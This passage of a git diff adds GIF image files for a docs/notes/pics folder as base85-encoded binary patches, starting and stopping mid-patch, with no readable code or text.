z%gMyK42Toc6=r6Tv*&;`PTU#$DH*KX=q!@c&_H#&;U$ym$u7pAdTy$8&>=7dybT$~
zW6cGE;Ra?;ah>n*IrjJF5GRTq)1nj4dlB*Ap?F}sfE%<GtIf_5q^iO%8F)($kN~Vb
zjT0ZhshCef{heYm9G;$4s3O5mQUEqnTEM9a8doI6kJFw)<i?Y^NpjG`Nn5v5Pw)_f
z5b%O470hdp4o2hXFse0TKh}mFM}d%Sseb1{U{tn(hSbyyNQ_42Uaa)@SNMcHg1ZY>
znjtYmONnB298wY1P}EgYn9&3s?cxkwSmp*Ftg@k>%V}_0lfvpieozB+01hA^+~UO1
zk!5OY(X()7c*nl1Ag|%A&oQrUvwuibL%w02BC;vAuqL7!B7q6wC<9QBLax;?ND(M|
zYw+K%0zL_9ARqD@S}4TNcz8Z0ro#5BA&W}lqt0A{AxV!J?fw9&jKrZZBVhx^4_CB-
z6gwn@Bpk?4No#LD<Q2*04iMA@KwcXK;KYIJx7%QGXeJ%aF4T&!Wg_LBY4G165Se>7
z!|IzmQ3i6V?7Gy5$!-D^O#yT3l48+v_YfDXp<;Mix)_nhl^sGp)n)5@ZJsXpu2W6#
zb{QBu141hU`p*{eU=)$Yd$tVZ@bSf&zw4nZZV-6FKgY6}WQ?rY%{61gQ#j?>zq*6G
zcc_r*`}xq{$YxQkxJ-!?t;fR=U6E}P$&ytMF0~dY^OX%{+th*BkCpj9`5Jddo_H5}
z!MO<`ITJvuC7@iKSvul6l=#ax=g>hj{v2|6&=7AC#*gB!G(`*G)1pCT(MDlcaFE$S
zJVarpzNBfs(B?$JCA}_Cz3Ro3hxK%*OPN0+8wcCDpJy?CY#?ZZ7vY$a$sH*N@>ayb
zZbgs~EAg>7OB}?zf(HB8-0|%tE$p&j6N)(3#pQy}O!}|^Rovrwpd$yOI@(GeweDg|
z8AkHk)7-*G$OvU?h&sj5DzeNl<91BLwO#_mkOD#Ee~#fpZ|FZ~0xOQ2V9}wYhguml
zq$$wALqCOL<hNWFBgFi(Yp>&th8l)^@N491LOYY{cdOrnrKtFQ5&(kdpKowAb2zvs
zi(y6o7-_|Tn9h%R0=QC2Fa1<%LMu`L_8C%ic3Bzdr1Smr&Ui5J<&i|?UW_;+AwQ`F
zkE+nEJN@E9O?WSk`wXQSp3iKR&!GjV7?3$^za#l*G>l6b02!+812agG4(}mc31$^t
zN>_}>y41KY&?<$U@4^&F{mPp2(F$cwkPFm@iEB8>F-!bU^m;GbF#vL82n16cAhFGp
z`jL_^p7ck&5s`@E6V=*yRnD%A)tZ5Se!T%>CB+`!c}g8q|8Xcw@>|^nI+d#EaPv{}
z`Wg=A^$~!73yyU@Ss86BC@H}8xqfXOa6iX+hniUbs0y0QNjS1{HA077I9I;~8Mk;b
zXZpa&^(Y}<5x#|f^oZAGBq~y1xAH1O!SY4y_zXgm*u>x993($6%N<N?IidP2%w*!5
zKs&MRV#BjYw~4u<2=@*R)#ows6Z5Au-Mfq%p1-M_SU4N(-eafwB57n|QNG>1&$Z!2
z+V;ef8p2~BP}L<<V3MJ!>GAn>gG;Xb<noPRkD(k@*S98<D<<t8!yg)4OWY<`?;<=$
xTlKd{e}89L{CYOFb~rZ&7kix1{pWUePPd+FIy?ZB{^S4u`2Rot|9|`czW`6}J<|XH

literal 0
HcmV?d00001

diff --git a/docs/notes/pics/11548743457272.gif b/docs/notes/pics/11548743457272.gif
new file mode 100644
index 0000000000000000000000000000000000000000..f24b81e5d4805d1221f4c4fdf155a5f7cdf73976
GIT binary patch
literal 10240
zcmeI1XHe5k`|p2gBoGJ*U8Dp>I*5pZpcslslOm{e!Yv4j1-(&`novUr>Aed`?~$5N
zLr1AngQD~zh=5=`{_p>sInR0X%$%7s=f#=lGuMl2%k1pV?)SShyVrHKl`q*tzzU#!
z0DwRsP$-m%i3tv8LLd;VtgI*b`6VPIl$0)NsN=M?we|J&jE#-0EbiRJ+qgL0b#rxb
zfBD?g!^79tCm<joBqSs%Dk?cSIVUHlu&Ah_s-~9Q(9leIN9`uJ_r2?S|E~MPpJ<@{
zS2WVzx6p?A`g#_I8#YF&zl~Pzj+OryD?J=9{?|Ad`(MRB`Tk_(#%%A`Pjg?sd|6sr
zT3uaTUtizY*x3Ast$*15hj0I|v$M0iyZilrviC3i`0-=^AO0l&QoZ-z^*{gN=pT-c
zkAM9G<6rpw`}e<;{<rl1*QP&<{J*}me?R8GZ~Zru`S1PsKkD$Ov&e6x;WaZ;O?BgI
z3Ucxg5C8xohfpXSKmam-a^SyY0w5T`b!GvbiY%%>f>X+xR*~Hvj6SWGrc;^I8OC@1
z!3?c3w>t`}87iP#mDdw1Vfxm(rz*cMQT}dknr`)*fmG$cS7&;v3x+ar{w#ueHHGhU
zbz-G#dTWYC3XF60()DWJjuo3%KbY;UEuJXHw}%Sq*Oh#%b{=_a(^pqIUGMt2H(kHJ
zY_`#TcXhU}zI?uw06_{FkSiA2Nu1KQ{p8BesbX?k<l)cQ1SDF>oVMT!fg&&lmxXSm
z<TEqz8En(CvNWkEq%vZLO2|er@ic^g0E4<IC~hoXnNPGGiZVexaK=t!c{v5haT#-D
zO@C2UQN_vOK#&u$qLCp$q~pzk*jS#6Qr>rJfF-Y<3U7N)2S-Yr5YQ2JwkI+P9-36l
zOB8&m!>L=F5v-V4N!qjiK?@WduK*t*70N#>hDITDD%-)|Bm9UDTO!&zVZ5T<FtC_c
zC60+*>zhARKv}*+Lg3(@1`Pakfxwh&U~&qMMlS=f>xfZ6-Q=NCFG|;KUogN7JdQ(M
z;=>U!Vv5le36vJ~8d$}-5@64jub_gjE6Y<Mxz^F@OgL>o6uPWip$_4Qyr~5_T#@g6
zoqL&X#l&V-0eGMVs5rE#c?FT@3tJorZg&|?1zWh8IK*e|ID(-zqF6g7Z5<N;#hrvF
zK4h>flQfyGyHf7H!f<7`LzQX4pr~Ad7?2aM;x^#KE*b+(JHeU=f<eY!-1osK<Nb=E
zx)l%}B)-C-Iy)$p7pClt$8nwHlg|X%Tz2gs3Yg>3<(d?WjAHb*{Iy3c7OqqY4EY5X
z6)$zEm+1s6RGot_O9}0Llg|Xi%jYGv+36;`0;I9yQvJ)=+^|o=nY_bnABnl2bov|q
zRGrwwZ-B$r99l|cHbP{3T+~luqdO&3u*RplwAyPOAZ*7a{xD@%R{+IJ(k{d~qb!}#
z>_7+=rl2H`=ejji@Ku7}i@$bEOb?KyLdSSOOk9`ct<fyYgm$o)&Qm<&y;uDg0?(E6
z!vIuF0#AUE4{sNtlAqf+`+qQrCN^ETPCS4(-=>$L*tpPCD5gT0g~Zz-_Tn|v(pZRz
zk51@(%{|i%pzJK^_<3@sBREY=d6+=wb*MZG|NVdtK!Q+DzvK94)<1i-oMri1#(cFX
zwM^F)3nFroeq5{6Wvav#TZVrKEPm|A{0qVyn|gF~PsBr&UCfvwo}|f%I29RkkxpoW
zzvfhbww=4g4T5kc;b1qb1zeKZ;e0wkG*lsH_ZC5?PCxRM1mVq+K^A@+X>aa_znZ5`
zc>%ek0p*tmA!I0Ee#Mw4mbH+>jt~$B34ma+5_0r=stjcck@+G4#0C{nXA~2d{^BcP
zR;0WrI)^}E@iJVY+o6vZz$iZ)dQ9Dgi}|39gvjxiG}(AzZt&S(fB-|u6F~e28epcp
zE|tH+)l~Utee1OAIbY}?l(|U7PaRsAcXl+%Anz1!4^3NTCnh>PPgGpDN6&KSby9zx
zm{L!Vp~p^a7Hhu5b=}^ZDLZk62KiEVdU|g+?8H}u=gT<h_E}EtB#`^_<zDvm+5X%~
zqy*@p<>Ui@Bmq23l728Zf`OzpAvsUr4W<EIt0}dJRHqS{U!x6z8~_jtqCmMl1Yk9f
zh3kBvRz_Q(%^h&yo*o>m0^jo_^6#`S44HWe4`ZT8At!vDONZyDrr{rtOdGGdr-b<+
zBj>e{jpok1BsmOn8(#$p&?Mk0!}%}?EQlE)uG8LAKv1i)Fegc9rRE1BH?uMY+$l_o
zQ$!IRb+F(t73Gr^D2E%(LtfCSZgGVQ@x{Y+`K7MCf9DU!Wr3-$>``8CZ<2UKSa8op
z^<#(qbA_nse9n?^+g@^kcKm(QXk3^dKPErO41~y{@Wxr1u;hh7Y=B}n1G>p;rl%0Q
zEa%%Ndp@u<af3K%8us0mL^c8ZP5iH9E-VfJ%zsoRT%lNgv_$8B+CvIPOWVA{f(lap
z=HelpCW>Z_NZN*hZP1K$QQqRfv!h0p_Rm*R158_x&NvmN3+hIVxS3Br_7xBFr4`nc
zCPKz<!NsB}TzTk}FOlV7E@xxsyVIaWxo4FP?>7FjdwYYKON1P(b=FBZXOxZaIV9(~
z97@bJKotGhOz9L_`%(qS<<XtG*D?=-+yT3p(C01cIvUQ}oe&2eqHB<#6PPC&vL$C$
zbT1I+1z7{2^oJ0`Tctkdr|dY7>l>>F9tCk)O`@*S;T2d8s6vIX5Dp9HE!og~WWBKW
zVmwW3lKS+eYyUlNDyUNPgG5zD+hvx3a^r!r5PKwDr-}=%qAd3-<;Wl2QI^^G-Y|-p
zi-@&0Rsye384<EG1FY8cLf5ZUSby@(Fg+@m@i%~T>VlaYh$x!Nw@JKZ)m2)<4r)85
z^HdDOe5SaDP{X@VP2vL2vuh39{ZWZqe`WM6;|1693;+?6hjyOA4ehOgQF>lbHs>t$
zhuWeAs_8?D)A50q<!d3zl!CKb=4qURHE+tV-HNvjOD~-xF#mvrVISgH%Br%Ms<O<H
zZiL9_ri93dM_@&9dr0rNxJ;1z_+#ORAJG>ynEcQ#_%`snEiqanF|^-($O^mv#-WM5
z>WSC>$@!g&I*k`@Z2O%&rX!5VZM=iqL8`|K=qPfBxZ$@@tK(06L*y={!EceC$Dgt6
z?`VwHQv@LCcu~UWUGJU2orK2YFY;0E`kf4SQ>L4~+)QGIAzXJej*gdb><z<#sG&*#
z57RMf_>egG{Z09wBS!ZdEil}BYxQdtgdQ2IAKWWK65!Vmjg#GmKdMrHt=%(foa#0t
z2$uZXxF?Pqbkras2!fmLXWKyQ884fR2nOE4M<AhSaKTB&HZ%5kfp^FaAxbCNM0t%#
z%7eswV8A(N;#Z}i!$D8RE`Y1n1`{^I5O{>CPV?%Wp`YW8w!l@_=5?o55Ab)w5Aw_A
zndfq#(Iv*d>7;5NA@itpE$o0S+{B_bbo}*++PA)!E#FnQ+(#Yr!0}2RUkeyR-UGoI
zr}LI*D>0d#ld;14byu%$yfoUME4KU5=G(d!arXDPbnDSfuo|Pl?pFkUe#e&h>PX3Z
zz8<qskNJGZx5UYZ#oV)gg7CK6=bSod6HcVwxyPdn`|d>CS0W4)_zKayeidMT7kG<I
zdcl-E@|`fu&O}yc;z}Zs1Hs9)?1|>{<slQ54uJPB{nFunYP46U-Mv4G^MLsR(i8no
zJSFhI_d_4}q51sfm0xn26O~BBOG!X?z5f+bfGiMTs~o^*;-^jawq5qlsSl7g#~4l$
zj3)^<`2x*!{BKVZlo3P~=itlkK`HPc9f=@b^&tDF0bYdxeAEEOiT6P)2SF@+!LG`|
zXHEQ1xCgT(1+z>NotA^u5r2${gjXjyIg@yaB))9YUN>oPi4=hdkrN3KAO*S?2F8+u
zy$VCrXd&DSA&E{w*-1gc<RC8l(4FAWor2IJTBz(o=pALRN^+pbWT1|7m^dknD?1EC
z3$v97<xvlP<K%C|=c#Z&Fr|6UxrbDkhg8vsHAx|Bd_l~3@4My!{-g+<!U%3^gp7G)
z7$Q<$BJ!C|WUPB6i*v|caEPr$gosWAr+tJCDD>lUSS})*QzU%rdia)8cqb`bCOiCv
zMD*VE=pCo%_mh#n2ayc%s7#$Gb>}E9V${RJr~(=z%49hz3K3mS3twIiPt<v>PKp*P
zjOL(5TQ5ZKA!4Q_VmQ=eR-Iy2gJXD$Vx*}tUrDi$<Vb5;upKS7-ubmC>2)J1UY7Ej
zbKx}=5!)^i>#7r5>>S&dM8qEYocb7Rc`3qLHvpK7mRj-uOA_O7DdwI<jPpm*gID1X
zKgO6H#@s#(H(!Z`AmT70aaQVa()Z)`NpYC$xTWs6rKPwV%<)np@vxPco&AJW-b6K8
z($P{98kB4)lI)?IEPFp0O-x=aNM7ttPF+cs1f_^brfgkLS#nAdC#4(|q_9&{EEZD4
z$%&ZviMof0`X`c#l#@<aB$=)xguII#W=JGXzl-1IBiX)+!1tt~7t#`$(~~9BJ9W~H
z?x$zJO3F=6hh0h((Mg+iN<$IT%(K%(bTZiOGpa)}YKt;>dot2jGMbq)TO~6^bTfsV
zGiQP`*|Ib5P&0*=Gf|){cJ)-6Qz|VuwZ14-f|}~OlDY~{TNF>*Tgi&BNc`rWsF|GD
z$DDdsGWDcXmY`nNjr&>eLbA@h%@Xg;a_z}Ef@dEu<<OaPV<dBb>E?Rf&qYzQJC?FL
z;5oulIpXR$`S){{f^%pEIqZ6QogsPYd>QVSG7P8EjHl2yS-i|xylz|On?K;N<WIBK
z^Rd<Q!mALprMx+M(OeI>c~l4tz9}?6f4;IxzDh&#W&RwshJ4&qzJ_JWUsK-Rt6shh
zXrd*ze}iveFFLsQO~~q-Fpty-kNl_y1u>xovHWTADZb?%dGi);^rlh_JhJawX1MgC
zAN}-v^3(GvOTpik9M4m7UWR(TV)62{%&S~2a7YQerxK_6@)>{y#yv_WQ%a{AN|`!K
z=YE!sTb9yQ%05b!EqauF^(gzy0<`OKuw<1jr<85?mL^;%r$4Y5;Rg;>O7|X=&#?f^
zSZ8e#%+k1m$+H5HTET(@gtkGbqYCuNN)FY^^|uu~o|W*U=b9Cj0@Ia3N0nG<KozJG
zwW<=Fej%1xg;n*Bab~=fI;uKZ49Fp?rKGD*>sLz_101eUzUgY_MnH9~TEnUW=K|G~
zu8Er{GX()G@fctmbQ)cIQ?=I2s`fS#Xly_?Tl(bx%r1~BDAMy$Xnadksyk6w{XGwZ
zORYNrs;T{%^qxQYMi|D(rS^qqy=hqOC#AP7Q?<8#*0%B2IeM0KIMwlx>P}YHg;=@S
z9M&COs^>MScUOIPtGFIPtG7-inxac6Z);AOl=$n{1?rP2!Q=<hpod|Y$DXevt+JzC
zFt7FBRjGm#rUR0~JX=#d(~282PI6?aHsn|}<Q;jwnXW5rB$uXUKAlb}x58AaHpW^t
zhPXG@BsMNH;N)~^GR3p5J=L?bxS`v#p+_~lFEwpIA2Wn(ekt9YuhU%Z)Vvnl+*I7$
zcCx8sx|zJ+%$rUA)YqW>vV}9IW!1CRq8M!z*64#Q*a`D#Msl=Twa&P-&Yf)ON^Lmm
zBfmIo6%e673~JY>BT|s9)%A_62Ce(j)WfjWnu1myYHOEj3&FA_s*!3uO<l91Fh8Y?
zrBWyjl(h+p@HdLM0M$vKN_U~khEvbJrJkfxFACHOr$veMw>PY{pJwe466u&LZmV`8
zqiJp23vF~{dx}(hnSQ&`!+MkB*QO=!M339WnmQ$#+N@<f@dlW`yr>Q(=u|y!gRm~f
zed~A1;b@iP7BjEr$KjoV*`1P?yKSty%U*VK#&qj8bu+*3)<;q}7CMZYx*R`tEhN#N
z&d{{H$l6|19f2;rv^;|nOxnZtjP=B<nW&r@pUsm!(K8;lGlbVNn7ESOgm83{47cx0
z#{~h}D^(iYgjOZqR<+-C=W?&xI_*VTU&%xt=3Ae8Q*X^wuc2o@jkUA)A-ezABUqrd
z);h4hq;I^*qp^fA$%>h}+%v;kN<HT4T<@g|3|1beRbP%>F$iAs8rUfD*s}Khc8uO#
z@7uGExF=JXB7iBMq5ks9_??yj5)65c7=opHz-4`zH_*uR0k-C7_JJY{8w106g~BbE
z#Veb1Vm9<-#IWEMnD8$jky-R<*`YInapD`@lE2W>r7g1Fxo5AWpGyxv&-USh_sDAE
z2y5jC%j}4&=a6B{(7eE4PgDK%<_z8D82yNm8?&PYX&psP1GjC^?E>89H|meV`>#b5
z+Sp{-3C7$18ohgCAjW$9t=IVXv~g(Vxbge(n4@u`z(kJ9gsSC4=BtUNrO~Jx<30n!
zu{S;tuAu!QhSWFEnrzLafnrEAVd-+)?c@H?eoXk~f&Al6ujYaHfssU6bh7tY>MT0_
zN@HeeZFaNAV2Njbsb@hmrsx;VV_>k;d!Y2jQ2CXy$}23@vs?jejX{j`u6K_pjinyV
zvmV0_r#=|W6c6<E-1taaYt=TNW_>zcWi@-rYqltHwxoWRGCMowHM1%6F|2Xs)Qvw+
zmm|rnG|L-}pRLhfW;`}G2;t4Ck+OBKY&s4~M;0D^T)aYJ{452c%YUjY{0?3C{&rzn
zs$Af)F|`!4^>blzs$BH3u~6B9nBgaB#)9nN0w7)CUkDDr^I5mMY&7AsO3UZVbDu5H
zfGPd6hT5XV_H%XDMV*XAy_Q7-xhez3qH)F|Bnx6<`^8|es+13;ivMEmvv_g(i#6j5
z-u8=v3slSJtBN6rc^l$9_Z1l}{V4LQu8W`fVG$DZHmh_p+=I?IokGt(n%zF87bgQV
zqpcD8OMywnzfaJi=jb^bU9F|FA{m(WEAxcNVLzX=0JXVb+aPBapKvvF<luDful^Xu
zTx=vJKC<uoqv0Pn{8Aq;pIBdcUbcLKe-(Ugb<$?FWnjr-b!pm@T<+st$!No5yv}?~
zAgi%7%*{2G%@){t7WrU`AI~JBJ|t&kcB*xCGvaGetJdj6m=N*35OL%&X3TK7bn|_?
zTF`V^_pDsTeA)WKrr!`_?n{P;dD-YX+eem`&5P+9oIf|?1-6`2wxrCr<`F9`h6NN9
zwGFjxTv`NW?`IOu?aA0qEM9suwcYV^TT|d0>!vSv6l0vXHSa`u5X)B3{$sj=`zCkH
z=AP`g4I$E*-xK0biY0%CNw-F^{@&RcSe=L*0kan>4Gj<cnlX4^bl|kaLR@MX_-4EI
zO;lvJ%y5^(?mL&=a@X9-E_oO8arfNe?q}yd&8P{BdAjz{-puA6Epl6`_1mYpokhdF
z)AoDok$b1v*B-KOJ>J>~L2W*JvgPnQ>fYHM($Lg{*1a^fH9PkG%U2JO!o4`(1G^^r
zo2COVukUEa{*KVWcez6uyMqh&51YadLydO4?Y1*~x3kK>)k*L9y6k5ncb<9uh$`Jn
zZT-nJ|C5jX(EjXCHKRkv@<H<NEl;EMrYAcsQ9BfdZ`@zL33;svZ-(A`WFEeqKhQT=
zD;M6cyt+SPlr&~EGLiYytNd3<|F33=gL$Kajwc6QnFj@#KR%vaoBn+;D}1<d^{~eJ
z@SE=;fN|)>`N7zPE*E0`Z~<(BC^IamPa>3C*0zIGso^Jj;)+iR8K=P&eddB8_WsQ;
zdI_>N2~c!yr$NevM{^y_S$+D^AoBLH1fHgugMb}Nq{Lx~LVEEW(O@$v9Ttutl{0Un
zMQ#UMzEcZVe)_gELa;kX;8opUu($`aE%E%EOV$k+p118W-&vjrzJ93U@UvdTjC{A)
zmfL#R<*!cU3F(A`x^=4<$+4<hYxCWE;m_857%i{%AI;T!3Uhw<^uXiCOc8(kydv*?
z8mSQuj_;3oW?7$P|NHCuiSOGyIkT@{xL7`aFjkU!9X5Eg?!k0;v3S?4RsD4D>uGIx
z`EBKILtSI1?i3#@?v4yjYqHxt^LW%fx;7D6GFvjW+1%O<-#!CCu@yK7yOz8<2;j?7
zhYJVDYcRv{t{TX*d4H_!bcw4bJN)~$<^i~$1O{u&pb03G8slp`=iI(sLqg0=v=Mh}
z&b0xjXyIDI>TRcVM1n=DbWTTUDd?U_bg0r5&kRuL74`jIh?FevP|%mHU##lOEQFpn
zIM*#&ZE$`_>->!i6Aslkl;#7@8(vz<V^kZeZgreDy0X7mZFKcFRMA)+ex}A)ll_{a
z$u(Zb8k6h7fr>YE#q(=!>YwdYG`*qprN-3gD(r%p$@Md}W~N5hF5J3x$FcU-9d%jk
zb!7GSx!V?J1kM>)Jqg@K0BrONZKrI{B%A^n8;e*tCOXzxIKi^wwZK8k3bctX83Kg8
z?n|B3lU7(FVE0)X2o@f^reyPc!m*xUALf0Fz)d@evJ_@sep=$vDMRtcFks4fB3#Ve
z8bD5F*GkR=D$TuG`PFZGe>eSsoz1T^%6B6`7n5cJtnQK*Zhr|>{^Shl;FSxbuD`sS
zh!j$~9KemTSiGexmn;`z^2Ypad=cZ}p=0*%4fC&2w~9Z0HG4XEq97e)a9En@%j&V5
z7{>JEUiADekCoummX(!*oEI*umgnlG97}RX`0tlBs>R>0aN$tBTs5YU+VOT|-2D-K
zN=^1YSwG%$GkKM1YqNR><@%(>UhQC+GB1=i+QxSMvP$RPK)mChvo&)!MY7y_v~Oup
zfIJ|*DX=`G&O5m^5BM5vf6%-lxIXG@HM=xk<RkbZ^6sGJ&XjKJuaTM5Il;O);$O#f
zdZ4iSi%Dmv{vV51Y}A&%Uh>Q+Snf%;bzi&Gu6AyteyQf@b?dy$abj2EJFm&1c^Pl&
zxRagfzDQ8!y~QPtpN<1QS?!tk7~l7K8GG!ezjN;Z$n%s0uINW_FKaNe8rPyYOib{@
zz7j30%23~W>6AN1QAF^fd^-Jw^UM$-=QWDrjlIN2Pcj|Wwbj=|OP>wM&T}v?k5wNC
z+HJT0?3Q#<sG&319P}4j<bu}laK*#xqIiz{#I{LH)T6FGp`AQ)NvV`|Tl11Eo}TVb
z!UYpqBR4&+?#V)h@y<|p&C~ia2lZzx2O^w^xi=S;yRVIzI9(I461r2>{c-Q9v#)?Y
zHdaALL##LY?{}X+aTRfB+YZHO_%E7?T5##z-Z4&e<3F`gryJ|W;hou(!uy*^doSdD
zT$G06q*=1^?Szi_L;w6K2gW5;%gv#L`n=B*tS`wn56Tj;hxuUtca_F^j&WL&XB6P^
z`l${#?S_tZ6qS?*TG)0yIvwceYKtU5&^2|y`OPXq-pFHoBxAor90X)(Cri>Ye~Y4l
z{*V^X;z$;JtUzTVq)<X}G@CupS?kQ|u<(u19A59jWch~oAxxxP;eln1YbrNiCyeHa
zU%Rh&tKnus-Dv*V!21S{DyAvpqi>Wt?;AdEFwOWeT5uKiz&KFFEQe>T@cJz-lnm}1
zCmrD7>(O8j+8&jEgoD@-q?poFSY*uc#UU(hu*l&+WD-!U_MwgGg?xZeO>ODbgAcqu
zcyK9$QhJ3hezV(+0p)ZhK)475JJ{NUU=j{=QXT~1i6(&20O*v7vzr2em~O2FN7F&q
z@~|LI<L6u^1Ok|+0)PqNYmhj=(K~K(q^_=3jD`bSdrpn|6v4SA{7^#Mw>VaC;7ic}
zObQP|nq`6RMLdE?5zOHNxVoY-Kil~{|4)X01}wzAsI>wKxDm_VZK$J9;r%4=A`NOc
zrJl;t0XS<S`JNyQKAAHKQ{Jx;O9DIfx%eTru{wOlvLO{&5HN2NMVWwuKSKxh7*chB
zuYNF<3dqbeI>`S5)$DUS5y_PezBCNxCF7xkKK50*lQ?*dJoFd%py`7nr;Jt;kulGo
zMA07Bz_e7v7U<bGW$a;iUKrDn))a~$wGC<z9VmmhM|_q&%hOWvaWE1L$GA^8Nb8?6
zcl+39^G4yecweCC%-Ef~WdK~l%L3uR3udjrp$NyRG7^`Vxrafw+An{UNuq$1$vY@~
z43V{ouj?U8TcGgp6qN7JA4n$-ErGK;imdCk{;`wPY=CJ`p+F<f-~bjqpjS_%Cie#6
z{`J%;Sx+u-mKX&Rg#K!hWl<NFPv99Y`T9i&4>6~=IpoSO%_reOVme@`bt<r^k_AE~
zQD8EzAb~|}MX8!w3ey!1S;Z5`@vaSCS31D9O{Xvqf{4^h+${`L0+^GsjS?jQMn)9G
zRlY4QW#d(ZggIP{0H6?FL?D*bYZ~nr=w$QB@-6{+KLO0661`@#g$J_}2<_LOg4n#6
zFF${?&m}W#cIGn{@@x=zSs4vQ{&|W%K|AoNDt&_zz=N&2KoDiLtT`~<r*_dL(Ob)A
z!;lUj(2rlpZr?$Sdcwyqg4iz_uX411>b<sHmEf!8!bwXRZ=4HZme|}@+#-OL<%!Tp
z+}d_h7Wl>%73CfcIkSt~w20PV8a;Zv@fV)uyd5Ws>lCP&^UlZ3=TfK_+YrZz{qaPm
z=<sU-Fr>r}urB%>Z&ii=w@=tcF7oE|VFal49)kipxh)N25yF;vrY|_(c45CL|0DQs
z0M5zRhDkwf3!zV5G>Lu*=l2C50=SxPLqDjB{5CRAbweF!N;yz@+Q^yI1?$q_6*Jz1
zC*j~LKmJ&!a7G#U0L)FM%wOoUkd+anst#*#c*Q%j9dJVm_Sc}d*|Da=S3zaLXBAzl
z6H)=2)2eVBVBsIgMgR~rAPUJY)$S)lCm=|FE;s<5sxbIkl~rCrh<<iCtVQt<T)755
zdtN>JGYC#<fYZ*O%>}+4#q{a5ayAlXSI-Ul!8n}(=0ZTTod};K%AxB6u^Oej7^yG?
zSwdj>-^yFaO5gL9I-bC04ufD%^+PxVm+m%mXv$Z%gP11?ncI~JKDi(Ka?AvRFrWGb
zOk*{Fpi&6}c^)i;)(9g}za6p3&<O20+_EEJln%f$43hE>l%oOQB*Nul1X~hNNmdEP
zY1H^>h9>!a<ETbPs|q<w3(>U@sbE<;Xy&ya(!K8LNc%vRf{-HdG^JXQ05D5v4fgus
z+W|?spF9`!;^kPS?`0v4gz8l=3z;BCC&CC9{umNU=h~nSxb&?|=@Gan*6)@ZVY8jk
zZCQq0Bvdyj2yRQmCtHP+|0s~aj3<=#61r1lM?a8FmO(6&1g0cHfW>vQa2)e60kJG6
zNvS@|PzIwU{1{djUL0S&xY&7~3SwJUV8dM%EJPIl{Z=@MAW+!#K;YfI#c<9Ngpt2y
zNvI!-Jh6(uPVSE&ItZsG3BTn1ZW~-;<pV49_{E)k*Q-E8k;tc3fCK)()5AbVn_q!K
zSA2Ms%rGE8^D77i-|&(uQP2}0DTr9;?CH}KE@_1>gE0_=Y=4+o4MMI^OX|?CA`ej^
zsu8B#k&e(W>D7CPj4fFN5Ao|qCG~|a`&HK<s-URI5)!!y(W0eaU(!nz?Qc`;Z`bPY
zFzfGh=<jmt?+)mv#r5~(_4n5F_jUC5kM<8N_78sVAA$}Ha}B%~9r&O)F!JY@X4Gt8
z%wb^MZD1l`U@~stW8T12&A@cWz|82t?Bc-O_knrnAf0P)L3Hqw;^1ek!9}ydFAjrW
z-3FHe2AAUoSMml|YX;Xk2G>UiHx>sszYlIfhqk$fzKIU)C=Tsv8M!kf01*cF4SNSi
k?92OZ&REmC&m0{en?1RH{~n<FAN~JF|Nqhd|1<sn58etH%K!iX

literal 0
HcmV?d00001

diff --git a/docs/notes/pics/11548744140733.gif b/docs/notes/pics/11548744140733.gif
new file mode 100644
index 0000000000000000000000000000000000000000..da929ba6ede9cacb157593ea4648aa4d10c74653
GIT binary patch
literal 10240
zcmeHsX;4$qw&pn}=Rkm<fe>aiVHOaB0-~ZMVG5JRFe7MGkVz3laY9W3C?aAQL<EN*
zpv;6B5j0_*2?z)R3W$mdii(O;Y;WJ{uG@XPUcIia{`bE6e(b&0+SA(g)v2?#y@Q>_
zroC0r5bzBEAP7RCP!bXn7+F~*H8mYW!*%B77F4PoozC#_@$&cI9dRTuBI0yJ_@l7U
z@vz|WlgDz{ti<^EbC)hfU*SflXPmovo1J?%Cco%HacOFCNp^8bSy@?AMfpH=)$^LF
z?#9NZM-Ts^rm?Z;;Uk_vm?3CN7dBsOZp&=zywTNjyH|8)VCe41SpL{}!PCjYiRVR=
z&x@Z;l{}v*oqF*PPS2M8lQS>N{#Wv6UjF5S$>)8;BNM~J?}mq7j6RthAAd15HTUx6
z!kafA7Un;G`0)AD$FECE%U{1PfBUw)y!`$9U;YC>e*F0P^XISsf#3ff;(x)PKY#wE
zC;s2M|LXeN{&(-cTmCuZ-|hby%l};N--G}Ex&Dvm`hQ&RKc4eH_WlQF|L3m$uLAxC
z6aUC;w{>&1rqFHI8<S8V006}AFf0j307ie?z&~UHpv3?prB37XgfVEGfo}&tyZHiE
z%kc)S{7&m7<qaVd9pyRgR|wV#>JAmTovHe+g}$8?dEM7Y`@3#9RNn2)vWR>;(OG$~
z|28>BTEnp_e;|jJYT(yZRq*&8J;(8;V|C$hkymBNWLI_3lQL#=f`(H~@mOWh<3hjg
znv(I_@E2V-ooY)bADsC7cCx#+?D-=WN@kUF9e=tx9%s0_r>^`(J6Fr;mh=6Jm)#i~
zLZ9{AuYBFlv%a*-rQWm`i&u4{AHg~z5*Tgu2n#4G275R1U7L}%@I2AcTwUNof}t4)
zEXgK?+=QpNsVb`|Q=u4H$!p;mq?u023Mm`0da?XIo2!#^kFUul^Bhtnr0jehNV|9+
z4V_i>u`PRJsoIk25pl4jMYau!qnyk_>@3UK&}&(35K<=y*^s=AemoX!aZjD%P7_T?
zv=;=<T=ZFUA`T6kJ^>^<rA%YN?b;h{AkM+5J!jm#nC#>3%7j=&h4qUqY%P6$EJ4%R
z^CsC{U%)1~IJawasQM%j2Tfaua37^oY;d24FU(vI+I$s|r(p>ou2F+PgLb$@0P=1G
zZY%+v$O3Ra>k09Qx`IK+B@St74@yfrJcr=Cd>4?9lx`7VH<>>PypwD^5DRP3r}M~a
z@w_-lmOyC5bMC%*TO_uX5(@B=ggOwn9m9-;sjSR=ETka>ahf!GFv^)=BE;6H%Dj=N
zbmy|5$~7Vz94Cx5Dbe?-^Eq1St)5L8Y{rEZ&<9yslB2@6?;lt?Fkwm9(gXrI7>WQd
zP0F4~MO?yL<bN(aF+@3<nix>!-NN<5x>U-alPx$~uqc-~nn+H{LTGbdje!2pq5U{E
z2jaBpcF1+=F6JgnOy`><5%Udch?uBwr+oZSkP+&%bj#n_!^iRnkdi3}WS}{*U`D#p
zmm$OH3^L@RMHFJS6qq&$!EG~Lq=&P7DWT|0x_5qu^34x-t!4Zvqq{u@SWo3~vHQiS
z2?N%oJesf<hNu=FiNo=Ft5P7h#BczTA~A1dX>8wUA}>o~5t1<4gqD-?;mqRu982Q9
z0S-;HE)q2{$>K(@+Do|@qc-{O>{C?`N!n$_X2~51D_LG_2~^<lto6gca2Tco_mE#}
z`UL`yl?oeUe`;j^x*NKkl$X)3GaidZb4XyA53O5gs)0f5z}FUC&S^P&FYLg_<<}pu
